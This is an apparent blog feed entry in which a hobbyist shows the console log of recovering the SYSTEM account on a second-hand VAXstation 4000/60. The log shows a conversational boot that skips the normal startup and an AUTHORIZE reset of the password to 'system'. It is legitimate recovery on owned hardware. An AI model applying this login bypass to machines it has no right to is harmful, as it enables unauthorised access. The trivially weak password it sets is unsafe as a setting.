&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; Charged CPU &lt;span style=&#34;color:#66d9ef&#34;&gt;time&lt;/span&gt;:           &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;00&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;00&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;22.71&lt;/span&gt;   Elapsed &lt;span style=&#34;color:#66d9ef&#34;&gt;time&lt;/span&gt;:     &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;00&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;02&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;18.06&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; %&lt;span style=&#34;color:#66d9ef&#34;&gt;DCL-S&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;RETURNED, control returned &lt;span style=&#34;color:#66d9ef&#34;&gt;to&lt;/span&gt; process STARTUP
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; $ SET DEFAULT SYS$SYSTEM
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; SET DEFAULT SYS$SYSTEM
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; $ RUN SYS$SYSTEM:AUTHORIZE
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; RUN SYS$SYSTEM:AUTHORIZE
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; UAF&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; MODIFY SYSTEM &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;PASSWORD&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;system
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; %UAF&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;I&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;MDFYMSG, user record(s) updated
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; UAF&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; EXIT
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; %UAF&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;I&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;DONEMSG, system authorization file modified
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; %UAF&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;I&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;RDBNOMODS, no modifications made &lt;span style=&#34;color:#66d9ef&#34;&gt;to&lt;/span&gt; rights &lt;span style=&#34;color:#66d9ef&#34;&gt;data&lt;/span&gt; base
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; $ LOGOUT
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; LOGOUT
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; SYSTEM       job terminated at &lt;span style=&#34;color:#ae81ff&#34;&gt;27&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;NOV&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2009&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;04&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;04&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;26.81&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; Accounting information:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; Buffered I&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;O count:              &lt;span style=&#34;color:#ae81ff&#34;&gt;99&lt;/span&gt;         Peak working set size:    &lt;span style=&#34;color:#ae81ff&#34;&gt;1056&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; Direct I&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;O count:                &lt;span style=&#34;color:#ae81ff&#34;&gt;46&lt;/span&gt;         Peak page file size:      &lt;span style=&#34;color:#ae81ff&#34;&gt;3978&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; Page faults:                    &lt;span style=&#34;color:#ae81ff&#34;&gt;471&lt;/span&gt;         Mounted volumes:             &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; Charged CPU &lt;span style=&#34;color:#66d9ef&#34;&gt;time&lt;/span&gt;:           &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;00&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;00&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;00.41&lt;/span&gt;   Elapsed &lt;span style=&#34;color:#66d9ef&#34;&gt;time&lt;/span&gt;:     &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;00&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;05&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;33.58&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; Welcome &lt;span style=&#34;color:#66d9ef&#34;&gt;to&lt;/span&gt; VAX&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;VMS V5.&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;2H4
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; Username:
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
      <content:encoded><![CDATA[<p>3 days ago I find a nice VAX Station 4000/60 on ebay for only 41 Euro (about 60 Dollars), obviously I bought it, and today delivery boy knock my door!</p>
<p>I paste the command/console output of the recovery procedure:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-rpgle" data-lang="rpgle"><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> KA46<span style="color:#f92672">-</span>A V1.<span style="color:#ae81ff">4</span><span style="color:#f92672">-</span>38E<span style="color:#f92672">-</span>V4.<span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">08</span><span style="color:#f92672">-</span><span style="color:#ae81ff">00</span><span style="color:#f92672">-</span>2B<span style="color:#f92672">-</span><span style="color:#ae81ff">92</span><span style="color:#f92672">-</span>4E<span style="color:#f92672">-</span>C7
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> 24MB
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> ?? <span style="color:#ae81ff">001</span>   <span style="color:#ae81ff">9</span>        NI  <span style="color:#ae81ff">0172</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> <span style="color:#f92672">&gt;&gt;&gt;</span> sh config
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> KA46<span style="color:#f92672">-</span>A V1.<span style="color:#ae81ff">4</span><span style="color:#f92672">-</span>38E<span style="color:#f92672">-</span>V4.<span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">08</span><span style="color:#f92672">-</span><span style="color:#ae81ff">00</span><span style="color:#f92672">-</span>2B<span style="color:#f92672">-</span><span style="color:#ae81ff">92</span><span style="color:#f92672">-</span>4E<span style="color:#f92672">-</span>C7
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> 24MB
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> DEVNBR    DEVNAM           INFO
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> <span style="color:#f92672">------</span>    <span style="color:#f92672">--------</span>    <span style="color:#f92672">--------------------------</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">1</span>         NVR    OK
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">2</span>         LCG    OK
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> HR <span style="color:#f92672">-</span> <span style="color:#ae81ff">8</span> PLN FB <span style="color:#f92672">-</span> V1.<span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">3</span>          DZ    OK
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">4</span>       CACHE    OK
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">5</span>         MEM    OK
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> 24MB <span style="color:#f92672">=</span> SY<span style="color:#f92672">=</span>8MB, S0<span style="color:#f92672">/</span><span style="color:#ae81ff">1</span><span style="color:#f92672">=</span>8MB, S2<span style="color:#f92672">/</span><span style="color:#ae81ff">3</span><span style="color:#f92672">=</span>8MB, S4<span style="color:#f92672">/</span><span style="color:#ae81ff">5</span><span style="color:#f92672">=</span>0MB
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">6</span>         FPU    OK
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">7</span>          IT    OK
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">8</span>         SYS    OK
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">9</span>          NI    ?? <span style="color:#ae81ff">001</span> <span style="color:#ae81ff">0172</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">10</span>        SCSI    OK
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">3</span><span style="color:#f92672">-</span>L0<span style="color:#f92672">-</span>RZ26B   <span style="color:#ae81ff">6</span><span style="color:#f92672">-</span>INITR
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">11</span>         AUD    OK
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> <span style="color:#f92672">&gt;&gt;&gt;</span> ?
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> BOOT [<span style="color:#f92672">/</span>[R5:]<span style="color:#f92672">&lt;</span>bflg<span style="color:#f92672">&gt;</span>] [<span style="color:#f92672">&lt;</span>ddau<span style="color:#f92672">&gt;</span>[:]]
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> CONTINUE
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> DEPOSIT [{ <span style="color:#f92672">/</span>B | <span style="color:#f92672">/</span>W | <span style="color:#f92672">/</span>L | <span style="color:#f92672">/</span>Q | <span style="color:#f92672">/</span>A }] [{ <span style="color:#f92672">/</span>P | <span style="color:#f92672">/</span>V | <span style="color:#f92672">/</span>I }] [<span style="color:#f92672">/</span>G] [<span style="color:#f92672">/</span>U] [<span style="color:#f92672">/</span>N:<span style="color:#f92672">&lt;</span>n<span style="color:#f92672">&gt;</span>]
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> [{ <span style="color:#f92672">&lt;</span>addr<span style="color:#f92672">&gt;</span> | <span style="color:#f92672">&lt;</span>sym<span style="color:#f92672">&gt;</span> | <span style="color:#f92672">+</span> | <span style="color:#f92672">-</span> | <span style="color:#f92672">*</span> | @ }  [<span style="color:#f92672">&lt;</span>datum<span style="color:#f92672">&gt;</span>]]
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> EXAMINE [{ <span style="color:#f92672">/</span>B | <span style="color:#f92672">/</span>W | <span style="color:#f92672">/</span>L | <span style="color:#f92672">/</span>Q | <span style="color:#f92672">/</span>A }] [{ <span style="color:#f92672">/</span>P | <span style="color:#f92672">/</span>V | <span style="color:#f92672">/</span>I }] [<span style="color:#f92672">/</span>G] [<span style="color:#f92672">/</span>U] [<span style="color:#f92672">/</span>N:<span style="color:#f92672">&lt;</span>n<span style="color:#f92672">&gt;</span>]
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> [{ <span style="color:#f92672">&lt;</span>addr<span style="color:#f92672">&gt;</span> | <span style="color:#f92672">&lt;</span>sym<span style="color:#f92672">&gt;</span> | <span style="color:#f92672">+</span> | <span style="color:#f92672">-</span> | <span style="color:#f92672">*</span> | @ }]
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> FIND [{ <span style="color:#f92672">/</span>MEMORY | <span style="color:#f92672">/</span>RPB }]
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> HALT
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> HELP
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> INITIALIZE
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> LOGIN
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> REPEAT <span style="color:#f92672">&lt;</span>cmd<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> SET BOOT <span style="color:#f92672">&lt;</span>ddau<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> SET BFLG <span style="color:#f92672">&lt;</span>bflg<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> SET DIAGENV <span style="color:#f92672">&lt;</span><span style="color:#ae81ff">1</span><span style="color:#f92672">-</span><span style="color:#ae81ff">3</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> SET FBOOT <span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0</span><span style="color:#f92672">-</span><span style="color:#ae81ff">1</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> SET HALT <span style="color:#f92672">&lt;</span><span style="color:#ae81ff">1</span><span style="color:#f92672">-</span><span style="color:#ae81ff">3</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> SET KBD <span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0</span><span style="color:#f92672">-</span><span style="color:#ae81ff">15</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> SET MOP <span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0</span><span style="color:#f92672">-</span><span style="color:#ae81ff">1</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> SET PSE <span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0</span><span style="color:#f92672">-</span><span style="color:#ae81ff">1</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> SET PSWD
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> SET SCSI <span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0</span><span style="color:#f92672">-</span><span style="color:#ae81ff">7</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> SET TRIG <span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0</span><span style="color:#f92672">-</span><span style="color:#ae81ff">1</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> SHOW { BOOT | BFLG | CONFIG | DEV | DIAGENV | FBOOT | ETHER | ERROR |
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> ESTAT | HALT | KBD | MEM | MOP | PSE | SCSI | TRIG }
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> START <span style="color:#f92672">&lt;</span>addr<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> <span style="color:#66d9ef">TEST</span> [<span style="color:#f92672">/</span>UTIL] <span style="color:#f92672">&lt;</span>devnam | devnbr<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> UNJAM
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> X <span style="color:#f92672">&lt;</span>addr<span style="color:#f92672">&gt;</span> <span style="color:#f92672">&lt;</span>cnt<span style="color:#f92672">&gt;</span> ...
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> ?
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> <span style="color:#f92672">&gt;&gt;&gt;</span> B<span style="color:#f92672">/</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> <span style="color:#f92672">-</span>DKA300
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> SYSBOOT<span style="color:#f92672">&gt;</span>  SET<span style="color:#f92672">/</span>STARTUP OPA0:
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> SYSBOOT<span style="color:#f92672">&gt;</span>  SET WINDOWS_SYSTEM <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> %SYSBOOT<span style="color:#f92672">-</span>E<span style="color:#f92672">-</span>NOPARAM, no such parameter WINDOWS_SYSTEM
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> SYSBOOT<span style="color:#f92672">&gt;</span>  SET WRITESYSPARAMS <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> SYSBOOT<span style="color:#f92672">&gt;</span>  CONTINUE
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> VAX<span style="color:#f92672">/</span>VMS Version V5.<span style="color:#ae81ff">5</span><span style="color:#f92672">-</span>2H4 Major version id <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span> Minor version id <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> PLEASE ENTER <span style="color:#66d9ef">DATE</span> <span style="color:#66d9ef">AND</span> <span style="color:#66d9ef">TIME</span> (DD<span style="color:#f92672">-</span>MMM<span style="color:#f92672">-</span>YYYY  HH:MM)  <span style="color:#ae81ff">27</span><span style="color:#f92672">-</span>NOV<span style="color:#f92672">-</span><span style="color:#ae81ff">2009</span> <span style="color:#ae81ff">3</span>:<span style="color:#ae81ff">51</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> $
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> $ SPAWN
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> SPAWN
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> %<span style="color:#66d9ef">DCL-S</span><span style="color:#f92672">-</span>SPAWNED, process SYSTEM_1 spawned
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> %<span style="color:#66d9ef">DCL-S</span><span style="color:#f92672">-</span>ATTACHED, terminal now attached <span style="color:#66d9ef">to</span> process SYSTEM_1
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> $ @SYS$SYSTEM:STARTUP
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> $!  <span style="color:#66d9ef">Copyright</span> (c) <span style="color:#ae81ff">1993</span> Digital Equipment Corporation.  All rights reserved.
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> %STDRV<span style="color:#f92672">-</span>I<span style="color:#f92672">-</span>STARTUP, VMS startup begun at <span style="color:#ae81ff">27</span><span style="color:#f92672">-</span>NOV<span style="color:#f92672">-</span><span style="color:#ae81ff">2009</span> <span style="color:#ae81ff">04</span>:<span style="color:#ae81ff">00</span>:<span style="color:#ae81ff">59.19</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> The VAX<span style="color:#f92672">/</span>VMS system is now executing the system startup procedure.
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> %SET<span style="color:#f92672">-</span>I<span style="color:#f92672">-</span>NEWAUDSRV, identification of new audit server process is <span style="color:#ae81ff">00000088</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> The VAX<span style="color:#f92672">/</span>VMS system is now executing the site<span style="color:#f92672">-</span>specific startup commands.
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> %RUN<span style="color:#f92672">-</span>S<span style="color:#f92672">-</span>PROC_ID, identification of created process is 0000008C
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> %NCP<span style="color:#f92672">-</span>W<span style="color:#f92672">-</span>FILOPE, File <span style="color:#66d9ef">open</span> error , Permanent database
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> %NML<span style="color:#f92672">-</span>E<span style="color:#f92672">-</span>OPENOUT, error opening SYS$SYSROOT:[SYSEXE]NETLOGING.DAT; as output
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> <span style="color:#f92672">-</span>RMS<span style="color:#f92672">-</span>F<span style="color:#f92672">-</span>PLV, unsupported prolog version
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> %NCP<span style="color:#f92672">-</span>W<span style="color:#f92672">-</span>OPEFAI, Operation failure
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> %SYSTEM<span style="color:#f92672">-</span>F<span style="color:#f92672">-</span>TIMEOUT, device timeout
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> , timeout
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> , unit is active
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> , fatal hardware error
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> %NCP<span style="color:#f92672">-</span>W<span style="color:#f92672">-</span>UNRCMP, Unrecognized component , Circuit
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> Circuit <span style="color:#f92672">=</span> SVA<span style="color:#f92672">-</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> %NCP<span style="color:#f92672">-</span>I<span style="color:#f92672">-</span>NOINFO, No information <span style="color:#66d9ef">in</span> database
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> %RUN<span style="color:#f92672">-</span>S<span style="color:#f92672">-</span>PROC_ID, identification of created process is 0000008D
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> Job NCPSTART (queue SYS$BATCH, entry <span style="color:#ae81ff">1</span>) started on SYS$BATCH
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> %RUN<span style="color:#f92672">-</span>S<span style="color:#f92672">-</span>PROC_ID, identification of created process is 0000008F
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> %SET<span style="color:#f92672">-</span>I<span style="color:#f92672">-</span>INTSET, login interactive limit <span style="color:#f92672">=</span> <span style="color:#ae81ff">20</span>, current interactive <span style="color:#66d9ef">value</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">27</span><span style="color:#f92672">-</span>NOV<span style="color:#f92672">-</span><span style="color:#ae81ff">2009</span> <span style="color:#ae81ff">04</span>:<span style="color:#ae81ff">03</span>:<span style="color:#ae81ff">07</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> Process SYSTEM_1 logged <span style="color:#66d9ef">out</span> at <span style="color:#ae81ff">27</span><span style="color:#f92672">-</span>NOV<span style="color:#f92672">-</span><span style="color:#ae81ff">2009</span> <span style="color:#ae81ff">04</span>:<span style="color:#ae81ff">03</span>:<span style="color:#ae81ff">08.62</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> Accounting information:
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> Buffered I<span style="color:#f92672">/</span>O count:            <span style="color:#ae81ff">3431</span>         Peak working set size:     <span style="color:#ae81ff">888</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> Direct I<span style="color:#f92672">/</span>O count:              <span style="color:#ae81ff">1440</span>         Peak page file size:      <span style="color:#ae81ff">3806</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> Page faults:                  <span style="color:#ae81ff">16606</span>         Mounted volumes:             <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> Charged CPU <span style="color:#66d9ef">time</span>:           <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">00</span>:<span style="color:#ae81ff">00</span>:<span style="color:#ae81ff">22.71</span>   Elapsed <span style="color:#66d9ef">time</span>:     <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">00</span>:<span style="color:#ae81ff">02</span>:<span style="color:#ae81ff">18.06</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> %<span style="color:#66d9ef">DCL-S</span><span style="color:#f92672">-</span>RETURNED, control returned <span style="color:#66d9ef">to</span> process STARTUP
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> $ SET DEFAULT SYS$SYSTEM
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> SET DEFAULT SYS$SYSTEM
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> $ RUN SYS$SYSTEM:AUTHORIZE
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> RUN SYS$SYSTEM:AUTHORIZE
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> UAF<span style="color:#f92672">&gt;</span> MODIFY SYSTEM <span style="color:#f92672">/</span>PASSWORD<span style="color:#f92672">=</span>system
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> %UAF<span style="color:#f92672">-</span>I<span style="color:#f92672">-</span>MDFYMSG, user record(s) updated
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> UAF<span style="color:#f92672">&gt;</span> EXIT
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> %UAF<span style="color:#f92672">-</span>I<span style="color:#f92672">-</span>DONEMSG, system authorization file modified
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> %UAF<span style="color:#f92672">-</span>I<span style="color:#f92672">-</span>RDBNOMODS, no modifications made <span style="color:#66d9ef">to</span> rights <span style="color:#66d9ef">data</span> base
